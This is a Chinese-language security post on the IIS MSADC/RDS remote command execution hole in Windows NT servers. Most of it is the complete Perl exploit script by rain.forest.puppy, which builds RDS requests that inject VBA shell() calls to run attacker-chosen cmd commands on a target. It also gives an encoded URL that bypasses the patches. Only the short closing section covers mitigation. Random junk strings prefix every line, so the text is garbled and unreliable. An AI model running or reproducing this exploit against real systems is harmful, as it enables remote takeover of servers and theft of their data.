IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
e%bER ds w#F +rh3 涉及程序：
o9wg<LP Microsoft NT server
Z55,S=i 77i |a]Kd 描述：
no?)GQ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
_$ixE~w-! T|.Q81.NE 详细：
!u6~#.7 如果你没有时间读详细内容的话，就删除:
cYR6+PKua c:\Program Files\Common Files\System\Msadc\msadcs.dll
bwVv#Z\r 有关的安全问题就没有了。
]Jnf. 3 YGWb!|Z$ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
iZ MsN*9[ #-'}r}1ZT 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
k|A! 5A2 关于利用ODBC远程漏洞的描述，请参看:
]Vb #(2<2 =V5.c+ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .yTk/x ? h!K
B%4V 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
I J4"X#Q/ http://www.microsoft.com/security/bulletins/MS99-025faq.asp sTG+ c E 2zFdKs, 这里不再论述。
6S6nE%.3 WP]<\_r2 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
HAO/r`7*
"rX=G= /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Ka_UVKwMro 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
G)#
,39P R1Pnj (X>y)V #将下面这段保存为txt文件，然后: "perl -x 文件名"
@0
-B&w j%p~.kW5 #!perl
]`.
d%Vx #
~|uCZ.;o # MSADC/RDS 'usage' (aka exploit) script
cJA :vHyw #
!'{j"tv # by rain.forest.puppy
rB4#}+Uq #
2M&4]d # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
i [\[xfk # beta test and find errors!
,6M- xSDs ,j_{IL690 use Socket; use Getopt::Std;
&us8,x6yg getopts("e:vd:h:XR", \%args);
l m e-e{-pB6 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
NPo Xz ,O[vxN1X* if (!defined $args{h} && !defined $args{R}) {
awkVjyq X print qq~
iz C>- Usage: msadc.pl -h <host> { -d <delay> -X -v }
LpmspIPvf -h <host> = host you want to scan (ip or domain)
LV]\{' -d <seconds> = delay between calls, default 1 second
mSj[t
-X = dump Index Server path table, if available
dlT\VWMha( -v = verbose
(|[3/_!;v -e = external dictionary file for step 5
}MIH{CMH 6\TstY3 Or a -R will resume a command session
:.35pp,0 [CUJ A ~; exit;}
?1N0+OW zr[~wM $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
19N:9;Ixz if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
g r fF\_[: if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
1 )YFEU&] if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
J:(Shd'4D
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
%ly;2H Ik if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
lwY{rWo Nl_;l if (!defined $args{R}){ $ret = &has_msadc;
j}VOr >xz die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
<khx%<)P vlPE 8U= print "Please type the NT commandline you want to run (cmd /c assumed):\n"
J,D{dY LDD . "cmd /c ";
:jUuw:\ $in=<STDIN>; chomp $in;
Y APD7hA $command="cmd /c " . $in ;
l ?R_ wu,Q 0l:5hD,)F if (defined $args{R}) {&load; exit;}
eXOFA d]>u (C3d<a\: print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
(D l"s`UH~ &try_btcustmr;
bv+e'$U3 *
QR7t:([ print "\nStep 2: Trying to make our own DSN...";
UpIf t=@P &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
u}:O[DG XBY"7} print "\nStep 3: Trying known DSNs...";
{30<Vc= &known_dsn;
CYn} wkz p|FX_4RjX print "\nStep 4: Trying known .mdbs...";
O#EBR<CuK &known_mdb;
ZGbZu %om7h$D =` if (defined $args{e}){
E1C8yIF print "\nStep 5: Trying dictionary of DSN names...";
RdDcMZ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
-of= Lp 'p e0Q- print "Sorry Charley...maybe next time?\n";
Za f) exit;
@\h(s#sn 2"MI8EK ##############################################################################
8;'n. SC{ UA9LI<Y sub sendraw { # ripped and modded from whisker
K$]QzP XS sleep($delay); # it's a DoS on the server! At least on mine...
zh.c_>jS my ($pstr)=@_;
lET)<V(Y socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Tk!b`9 die("Socket problems\n");
`o3d@Vc if(connect(S,pack "SnA4x8",2,80,$target)){
\k,bz 0 select(S); $|=1;
M/DTD98'N print $pstr; my @in=<S>;
:3t])mL# select(STDOUT); close(S);
>ahj|pm return @in;
j41:]6 } else { die("Can't connect...\n"); }}
TkBBHg; "EHc&,B` ##############################################################################
kb:C>Y8!sC bn`zI~WS sub make_header { # make the HTTP request
RnrM
rOh my $msadc=<<EOT
j<KC$[Kt POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
I;v`o{ User-Agent: ACTIVEDATA
OZ" <V^"` Host: $ip
Imw x~eo Content-Length: $clen
8`t%QhE2 Connection: Keep-Alive
ks 5'Z8X O9_YVE/-] ADCClientVersion:01.06
)QE_+H}p Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
10J*S[n1 (J4utw Z --!ADM!ROX!YOUR!WORLD!
%:,=J Content-Type: application/x-varg
gQE V;hCO Content-Length: $reqlen
Ueeay^zN x-pMT3m\D# EOT
|gVO Iq ; $msadc=~s/\n/\r\n/g;
^%d{i'9? return $msadc;}
XZInu5( 2T5xSpC ##############################################################################
+i^s\c!3; f3N:MH-c sub make_req { # make the RDS request
wu k7mIJ my ($switch, $p1, $p2)=@_;
q KM]wu0Et my $req=""; my $t1, $t2, $query, $dsn;
?R(3O1,v^ :#/bA& if ($switch==1){ # this is the btcustmr.mdb query
vO_quQ[ . $query="Select * from Customers where City=" . make_shell();
i njmP9ed $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
gJ&!w8v. $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
, _$"6 tTt3D]h(
elsif ($switch==2){ # this is general make table query
]#$kA9 $query="create table AZZ (B int, C varchar(10))";
bIArAS9% $dsn="$p1";}
8 w&rj- lnDDFsA elsif ($switch==3){ # this is general exploit table query
s=TjM?) $query="select * from AZZ where C=" . make_shell();
-T?IkL) $dsn="$p1";}
5u46Vl{ qX(%Wn;n elsif ($switch==4){ # attempt to hork file info from index server
gQu w|u $query="select path from scope()";
L0kNt
&di $dsn="Provider=MSIDXS;";}
NXBOo ?I'-C?(t@1 elsif ($switch==5){ # bad query
v -3zav $query="select";
r?!xL\C\ $dsn="$p1";}
J,O@T)S@ m GhJn $t1= make_unicode($query);
&-fx=gq= $t2= make_unicode($dsn);
Jg:-TK/ $req = "\x02\x00\x03\x00";
6^|6V $req.= "\x08\x00" . pack ("S1", length($t1));
:\U3bk v+ $req.= "\x00\x00" . $t1 ;
a<wZv-\Vau $req.= "\x08\x00" . pack ("S1", length($t2));
D5pF:~tQ(j $req.= "\x00\x00" . $t2 ;
`t1$Ew< $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
NVeRn return $req;}
bU N,P" @q/1m~t ##############################################################################
ql~{`qoD~ Z0eBx sub make_shell { # this makes the shell() statement
;g:bn5G return "'|shell(\"$command\")|'";}
:BX{ *P )$B+ 3f ##############################################################################
!B lk=L+p ^\&g^T% sub make_unicode { # quick little function to convert to unicode
;a&:r7]= my ($in)=@_; my $out;
oKi1=d+T for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
el?V2v[ return $out;}
r^t{Ii ~ 1N!g`=} ##############################################################################
X-1Vp_(,TP c@-K sub rdo_success { # checks for RDO return success (this is kludge)
51
0XDl~b my (@in) = @_; my $base=content_start(@in);
Mlw9#H6 if($in[$base]=~/multipart\/mixed/){
<aaDW return 1 if( $in[$base+10]=~/^\x09\x00/ );}
mRH]'d lD7 return 0;}
9JV
3 EQJ_$6 ##############################################################################
0; v~5|r ^<\} Y sub make_dsn { # this makes a DSN for us
!t
Oky my @drives=("c","d","e","f");
g&3# 22z print "\nMaking DSN: ";
kc'0NE4oq foreach $drive (@drives) {
% Z [/U print "$drive: ";
1MI7l)D? my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
2 dD<] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
A dEbyL . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
r?nV
Sb|[ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
'UVv(- return 0 if $2 eq "404"; # not found/doesn't exist
@CU|3Qg if($2 eq "200") {
iM|"H.. foreach $line (@results) {
=)- Q?1q return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
$ O e 58 } return 0;}
%s2"W~ @xm~T|[7 ##############################################################################
g#b u_E61B X$ B]P 7G7 sub verify_exists {
G;HlII9x[ my ($page)=@_;
2c~?UK[1 my @results=sendraw("GET $page HTTP/1.0\n\n");
A>t!/_" return $results[0];}
zI&4k..4 y3nm!tjyM ##############################################################################
C^ " Hj O)xEF~DaD sub try_btcustmr {
|SP.S 0.y my @drives=("c","d","e","f");
tnF9Vj[#%_ my @dirs=("winnt","winnt35","winnt351","win","windows");
mvA xx`jc ?4>y2!OC9 foreach $dir (@dirs) {
Bdq"6SK> print "$dir -> "; # fun status so you can see progress
cL)rjty2 foreach $drive (@drives) {
k,R~ oSA'n print "$drive: "; # ditto
z3 Y)- $reqlen=length( make_req(1,$drive,$dir) ) - 28;
j]B $(pt $reqlenlen=length( "$reqlen" );
te*Y]-&I|/ $clen= 206 + $reqlenlen + $reqlen;
<,pLW~2-" C6'*/wq my @results=sendraw(make_header() . make_req(1,$drive,$dir));
8gtCY~m if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
\+Rwm:lI else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
qi SEnRG. l?JO 8^Nn ##############################################################################
jqGo-C~ 0"^o TmQN sub odbc_error {
9U<)_E<y my (@in)=@_; my $base;
SZ2q}[o`R my $base = content_start(@in);
} C{}oLz if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Q)6wk Y+! $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}1]!#yMfq $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
OgXZ- <' $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
o A;jy return $in[$base+4].$in[$base+5].$in[$base+6];}
H@ 2v<e@ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
V 1`5D7Z print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
# HM\ a $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
I4<{R /s8%02S ##############################################################################
)YnI !v2T @x=BJuUuX sub verbose {
bmO__1 my ($in)=@_;
3KG) 6)1* return if !$verbose;
E7yf[/it print STDOUT "\n$in\n";}
N^H n9n 1V**QSZ1 ##############################################################################
/S CZ& tT* W5 sub save {
YZBzv2'\x my ($p1, $p2, $p3, $p4)=@_;
qsft*& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
nrS[7 ~ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
LN.Bd, close OUT;}
*K}z@a_ cPx ~|,)l ##############################################################################
\ L9?69B~
_
7BF+*T sub load {
nG}, v% my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:n+y/6 * open(IN,"<rds.save") || die("Couldn't open rds.save\n");
$
o5V$N D @p=<IN>; close(IN);
T^'*_*m $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
I[g?Ju > $target= inet_aton($ip) || die("inet_aton problems");
AY&9JSu 6 print "Resuming to $ip ...";
=MJ-s;raq $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
8L7Y
A)u if($p[1]==1) {
V/(`Ek- $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
\Z\IK $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
#0?"J) my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
8g[ (nxI~ if (rdo_success(@results)){print "Success!\n";}
Ho )t=qn else { print "failed\n"; verbose(odbc_error(@results));}}
=wIdC3Ph elsif ($p[1]==3){
yp[<9%Fi if(run_query("$p[3]")){
dT hn? print "Success!\n";} else { print "failed\n"; }}
bIb6yVnHi elsif ($p[1]==4){
u+mjguIv if(run_query($drvst . "$p[3]")){
Q$?7) yyu+ print "Success!\n"; } else { print "failed\n"; }}
*#Lsjk~_- exit;}
G>=9gSLM V4`:Vci Aw ##############################################################################
Ms:KM{T0 5w,lw sub create_table {
#JL&]Z+X6 my ($in)=@_;
_' !N q $reqlen=length( make_req(2,$in,"") ) - 28;
L876$ $reqlenlen=length( "$reqlen" );
l$k]O $clen= 206 + $reqlenlen + $reqlen;
vLv|SqD my @results=sendraw(make_header() . make_req(2,$in,""));
yN 9$gfJC^ return 1 if rdo_success(@results);
1A%N0#_(Md my $temp= odbc_error(@results); verbose($temp);
tDC0-N&6S~ return 1 if $temp=~/Table 'AZZ' already exists/;
;#Jq$v)D return 0;}
~j/bCME f! 1N!Oslum ##############################################################################
4; BW er[" NSo sub known_dsn {
u [V4OU }% # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
fqcU5l[v, my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
.Bb$ j= "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
9?u9wuH "banner", "banners", "ads", "ADCDemo", "ADCTest");
i"%JFj_G %uGleY]~ foreach $dSn (@dsns) {
wO^$!zB W print ".";
i7 S >RB next if (!is_access("DSN=$dSn"));
:LZ-da"QR if(create_table("DSN=$dSn")){
f$1Gu print "$dSn successful\n";
CN\|_y if(run_query("DSN=$dSn")){
hsTFAfa' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
}mKGuCoH> print "Something's borked. Use verbose next time\n";}}} print "\n";}
hFsA_x+L; 22)0zY%\ ##############################################################################
D '7A2 f qhV, u;\. sub is_access {
<X:Ud&\ my ($in)=@_;
E
fP>O $reqlen=length( make_req(5,$in,"") ) - 28;
6 WA|'|}= $reqlenlen=length( "$reqlen" );
1. Haf $clen= 206 + $reqlenlen + $reqlen;
t{ /:( Nu my @results=sendraw(make_header() . make_req(5,$in,""));
p!HPp Ef+# my $temp= odbc_error(@results);
iE iu%T> verbose($temp); return 1 if ($temp=~/Microsoft Access/);
W<\ kf4Y return 0;}
bK ?1MiXb Y
brx%
##############################################################################
:dc"b?Ch c@RT$Q9j sub run_query {
opm?':Qst my ($in)=@_;
p+orBw3 $reqlen=length( make_req(3,$in,"") ) - 28;
9U#\nXM $reqlenlen=length( "$reqlen" );
Z{Vxr*9oO $clen= 206 + $reqlenlen + $reqlen;
x`]Of r' my @results=sendraw(make_header() . make_req(3,$in,""));
8O~0RYk return 1 if rdo_success(@results);
lo cW_/ my $temp= odbc_error(@results); verbose($temp);
0zg 2g!lh return 0;}
XMt
u "K bH'S.RWp= ##############################################################################
?r{TOj n 4^ 0d)+Ff sub known_mdb {
w+t# Yb \7 my @drives=("c","d","e","f","g");
7V~
"x&Eu my @dirs=("winnt","winnt35","winnt351","win","windows");
n 11LxGwk my $dir, $drive, $mdb;
8h* t55 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
E)C.eW / ~ 'NX~<m # this is sparse, because I don't know of many
f'1(y\_fb my @sysmdbs=( "\\catroot\\icatalog.mdb",
%9t{Z1$ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
{I4% "\\system32\\certmdb.mdb",
@)o0GHNP "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
rpUy$q rRc m bF(tSy my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
rei
8LW "\\cfusion\\cfapps\\forums\\forums_.mdb",
dX_! 0E[c "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Wt>J` "\\cfusion\\cfapps\\security\\realm_.mdb",
x| .v{tQa "\\cfusion\\cfapps\\security\\data\\realm.mdb",
mfZ)^X "\\cfusion\\database\\cfexamples.mdb",
]kRI}Om2 "\\cfusion\\database\\cfsnippets.mdb",
qOW#Q:T "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
t:\l&R& "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
~V @;(_T "\\cfusion\\brighttiger\\database\\cleam.mdb",
X 6Un;UL "\\cfusion\\database\\smpolicy.mdb",
n%F- cw "\\cfusion\\database\cypress.mdb",
0z<H(| "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
t2"@Ps&1| "\\website\\cgi-win\\dbsample.mdb",
qv
*3A?uzr "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
24/ /21m "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
-7k[Vg? ); #these are just
DeH0k[ o foreach $drive (@drives) {
^uia`sOP4 foreach $dir (@dirs){
a* D,*C5} foreach $mdb (@sysmdbs) {
3I|O^ print ".";
\,2gTi,= if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
w "{bp print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
& B}Lo
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
u aiz*Im print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
<x0)7xX } else { print "Something's borked. Use verbose next time\n"; }}}}}
Sk i G2n] 0|ZV A+ foreach $drive (@drives) {
{{32jU 7< foreach $mdb (@mdbs) {
H#+\nT2m print ".";
jk )Vb if(create_table($drv . $drive . $dir . $mdb)){
3S5^ `Ag# print "\n" . $drive . $dir . $mdb . " successful\n";
auRY|j if(run_query($drv . $drive . $dir . $mdb)){
/-Wuq`P/ T print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
.hKhrcQp } else { print "Something's borked. Use verbose next time\n"; }}}}
a.?v*U@z@# }
y=w`w>% (z/jMMms ##############################################################################
j?xk& Y=E9zUF sub hork_idx {
Rv,82iEKs print "\nAttempting to dump Index Server tables...\n";
f27)v(EJ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
k=?^){[We $reqlen=length( make_req(4,"","") ) - 28;
Jn=42Q:> $reqlenlen=length( "$reqlen" );
fuMN"T 6%+ $clen= 206 + $reqlenlen + $reqlen;
UgR : qjI my @results=sendraw2(make_header() . make_req(4,"",""));
_5b0wd B if (rdo_success(@results)){
ur6e&bTp my $max=@results; my $c; my %d;
#,&8& for($c=19; $c<$max; $c++){
_w z2 $results[$c]=~s/\x00//g;
L? 8^a G $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
j9:/RJS $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
oE1M/*myS $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
{SJsA)9:# $d{"$1$2"}="";}
@T ysXx foreach $c (keys %d){ print "$c\n"; }
)\>r-g$ } else {print "Index server doesn't seem to be installed.\n"; }}
jJia.#.Ze qz`rL#W] ##############################################################################
LKx` v90p fJy)STQ4 sub dsn_dict {
)7dEi+v52 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
ox[ .)v while(<IN>){
(0OM "`j $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
=2%VZE7Vm next if (!is_access("DSN=$dSn"));
$e BQH if(create_table("DSN=$dSn")){
D,Lp|V print "$dSn successful\n";
n?:2.S.8 if(run_query("DSN=$dSn")){
3rNc1\a; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
[(ygisqt print "Something's borked. Use verbose next time\n";}}}
Jt]&;0zn 2 print "\n"; close(IN);}
SNab
zJY ']8ah ##############################################################################
w>[T&0-N #dxvz^2V.3 sub sendraw2 { # ripped and modded from whisker
/;l[I=VI sleep($delay); # it's a DoS on the server! At least on mine...
fagM7)x my ($pstr)=@_;
W p N.]x socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
& fu z 2xv die("Socket problems\n");
{E51Kv&_ if(connect(S,pack "SnA4x8",2,80,$target)){
;1`!wG-DD print "Connected. Getting data";
=u=Kw R open(OUT,">raw.out"); my @in;
qnJ50 VVW select(S); $|=1; print $pstr;
Uyk,. *8" while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
BS gTde|3y close(OUT); select(STDOUT); close(S); return @in;
5/?P|T } else { die("Can't connect...\n"); }}
<7'&1= %r 'Jydu ##############################################################################
% :/_ f E!!
alc{ sub content_start { # this will take in the server headers
jO8X:j09A my (@in)=@_; my $c;
8KMv Ac for ($c=1;$c<500;$c++) {
ETfF5i} if($in[$c] =~/^\x0d\x0a/){
? %(spV if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
}G'XkoI& else { return $c+1; }}}
ubbnFE&PD return -1;} # it should never get here actually
G;s"h%Xw98 NiA4JgM]v ##############################################################################
% (< (Y fu R2S70d sub funky {
}pawIf4V my (@in)=@_; my $error=odbc_error(@in);
".P){Dep$4 if($error=~/ADO could not find the specified provider/){
~.oj.[ } print "\nServer returned an ADO miscofiguration message\nAborting.\n";
rF] +,4 exit;}
| -+zofx if($error=~/A Handler is required/){
"IFg RaP= print "\nServer has custom handler filters (they most likely are patched)\n";
f%XJ;y\,9H exit;}
W~ruN4q. if($error=~/specified Handler has denied Access/){
4h8*mMghs print "\nServer has custom handler filters (they most likely are patched)\n";
bL`eiol6 exit;}}
? ?[ g}> 1nI^-aQ3 ##############################################################################
3^wC<ZXcD BzN@gQo sub has_msadc {
|^( M{ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
,T|x)"uA` my $base=content_start(@results);
q3h'l , return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
cWa)#:JOV return 0;}
U>F{?PReA? c y QBqG ########################
"9XfQ"P Ew$I\j* mgQ IhXH5L 解决方案：
vzXag*0
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
YGk9b+` 2、移除web 目录: /msadc
